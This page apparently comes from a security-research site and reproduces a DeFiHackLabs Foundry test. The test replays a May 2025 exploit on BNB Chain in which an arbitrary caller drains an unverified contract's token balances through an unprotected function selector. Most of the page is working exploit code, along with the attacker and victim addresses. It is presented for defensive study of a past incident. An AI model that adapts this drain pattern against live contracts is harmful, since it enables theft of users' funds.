Public reproduction file
src/test/2025-05/unverified_0000_exp.sol
Public reproduction file for dataset entry Unverified_0000.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 5,658.46 USD8// Attacker : 0x1491B276528531AD3F41DbE9B00387ABaC55c1149// Attack Contract : 0x167d4A1658DD960B2945131Cd90ca4fdf0FAa24210// Vulnerable Contract : 0x000004A70f92f1b22de1201aF76C48365d5D000011// Attack Tx : https://bscscan.com/tx/0x7ca804d016be67c570a10a620b9ae3027fd6b03d0965da3ec78912be067af02412//13// @Info14// Vulnerable Contract Code : unverified15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/118418//19// Attack summary: Any caller can invoke selector 0x88417d5c with token/amount entries, causing the20// victim to transfer its ERC20 balances to msg.sender.21// Root cause: missing access control on the token-drain path; owner/storage-owner checks are not22// applied to selector 0x88417d5c.24address constant VULNERABLE = 0x000004A70f92f1B22de1201aF76C48365D5D0000;25address constant DRAIN_USDT = 0x55d398326f99059fF775485246999027B3197955;26address constant DRAIN_ABNB_ETH = 0x2E94171493fAbE316b6205f1585779C887771E2F;27address constant DRAIN_HODL = 0x32B407ee915432Be6D3F168bc1EfF2a6F8b2034C;28bytes4 constant VICTIM_DRAIN_SELECTOR = 0x88417d5c;30struct TokenAmount {31 address token;32 uint256 amount;33}35interface IOwnableLike {36 function owner() external view returns (address);37}39contract ContractTest is BaseTestWithBalanceLog {40 address private arbitraryCaller;42 function setUp() public {43 uint256 forkBlock = 50_311_055;44 vm.createSelectFork("bsc", forkBlock);46 arbitraryCaller = makeAddr("arbitraryCaller");47 attacker = arbitraryCaller;48 multiAssetLog = true;49 _addFundingToken(DRAIN_USDT);50 _addFundingToken(DRAIN_ABNB_ETH);52 vm.label(VULNERABLE, "Unverified Victim");53 vm.label(arbitraryCaller, "Arbitrary Caller");54 vm.label(DRAIN_USDT, "USDT");55 vm.label(DRAIN_ABNB_ETH, "aBnbETH");56 vm.label(DRAIN_HODL, "HODL");57 }59 function testExploit() public balanceLog {60 uint256 victimUsdtBefore = IERC20(DRAIN_USDT).balanceOf(VULNERABLE);61 uint256 victimABnbEthBefore = IERC20(DRAIN_ABNB_ETH).balanceOf(VULNERABLE);62 uint256 victimHodlBefore = IERC20(DRAIN_HODL).balanceOf(VULNERABLE);64 uint256 attackerUsdtBefore = IERC20(DRAIN_USDT).balanceOf(arbitraryCaller);65 uint256 attackerABnbEthBefore = IERC20(DRAIN_ABNB_ETH).balanceOf(arbitraryCaller);66 uint256 attackerHodlBefore = IERC20(DRAIN_HODL).balanceOf(arbitraryCaller);68 // step 1: prove the drain caller is not the public Ownable owner.69 assertNotEq(arbitraryCaller, IOwnableLike(VULNERABLE).owner());71 // step 2: drain the victim-held token balances as an arbitrary non-owner caller.72 _drainAsArbitraryCaller(DRAIN_USDT);73 _drainAsArbitraryCaller(DRAIN_ABNB_ETH);74 _drainAsArbitraryCaller(DRAIN_HODL);76 // step 3: assert the victim balances were drained and attacker balances increased.77 assertEq(IERC20(DRAIN_USDT).balanceOf(VULNERABLE), 0);78 assertEq(IERC20(DRAIN_ABNB_ETH).balanceOf(VULNERABLE), 0);79 assertEq(IERC20(DRAIN_HODL).balanceOf(VULNERABLE), 0);81 assertEq(IERC20(DRAIN_USDT).balanceOf(arbitraryCaller) - attackerUsdtBefore, victimUsdtBefore);82 assertEq(IERC20(DRAIN_ABNB_ETH).balanceOf(arbitraryCaller) - attackerABnbEthBefore, victimABnbEthBefore);83 assertGt(IERC20(DRAIN_HODL).balanceOf(arbitraryCaller) - attackerHodlBefore, (victimHodlBefore * 9) / 10);84 }86 function _drainAsArbitraryCaller(87 address token88 ) private {89 uint256 amount = IERC20(token).balanceOf(VULNERABLE);90 TokenAmount[] memory entries = new TokenAmount[](1);91 entries[0] = TokenAmount({token: token, amount: amount});93 vm.prank(arbitraryCaller);94 (bool ok,) =95 VULNERABLE.call(abi.encodeWithSelector(VICTIM_DRAIN_SELECTOR, uint256(0), uint256(0), uint256(0), entries));96 require(ok, "victim drain call failed");97 }98}Analysis
Dataset entry
Public Foundry test for “Unverified_0000” (2025-05-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-05/BetaPresale_exp.solSame month in the dataset · 212 lines
- src/test/2025-05/bitallx_exp.solSame month in the dataset · 94 lines
- src/test/2025-05/Corkprotocol_exp.solSame month in the dataset · 291 lines
- src/test/2025-05/crosswise_exp.solSame month in the dataset · 178 lines
- src/test/2025-05/DogeAlliance_exp.solSame month in the dataset · 173 lines
- src/test/2025-05/Dumbo_exp.solSame month in the dataset · 214 lines
- src/test/2025-05/IRYSAI_exp.solSame month in the dataset · 104 lines
- src/test/2025-05/KRCToken_pair_exp.solSame month in the dataset · 120 lines
- src/test/2025-05/MBUToken_exp.solSame month in the dataset · 73 lines
- src/test/2025-05/Nalakuvara_LotteryTicket50_exp.solSame month in the dataset · 102 lines
- src/test/2025-05/RICE_exp.solSame month in the dataset · 142 lines
- src/test/2025-05/unverified_91a1_exp.solSame month in the dataset · 76 lines
- src/test/2025-05/Unwarp_exp.solSame month in the dataset · 55 lines
- src/test/2025-05/UsualMoney_exp.solSame month in the dataset · 227 lines
- src/test/2025-05/YDTtoken_exp.solSame month in the dataset · 52 lines
- src/test/2026-03/unverified_237d_exp.solSame protocol or name in the dataset · 162 lines
- src/test/2026-03/unverified_1304_exp.solSame protocol or name in the dataset · 178 lines
- src/test/2025-08/unverified_d132_exp.solSame protocol or name in the dataset · 207 lines
- src/test/2025-07/unverified_8fd3_exp.solSame protocol or name in the dataset · 105 lines
- src/test/2025-03/unverified_3f27_exp.solSame protocol or name in the dataset · 112 lines
- src/test/2025-03/unverified_de7c_exp.solSame protocol or name in the dataset · 129 lines
- src/test/2025-07/unverified_54cd_exp.solSame protocol or name in the dataset · 77 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x1491b276528531ad3f41dbe9b00387abac55c114
- Attack Contract
0x167d4a1658dd960b2945131cd90ca4fdf0faa242
- Vulnerable Contract
0x000004a70f92f1b22de1201af76c48365d5d0000
- Attack Tx
0x7ca804d016be67c570a10a620b9ae3027fd6b03d0965da3ec78912be067af024
File record
- Name
- Unverified_0000
- Path
- src/test/2025-05/unverified_0000_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 6d7b8add1afb816a2eed03d3f735f1acedd21452
- Language
- Solidity
- Size
- 99 lines
- Date
- 2025-05-25
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-05/unverified_0000_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6d7b8add1afb816a2eed03d3f735f1acedd21452, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.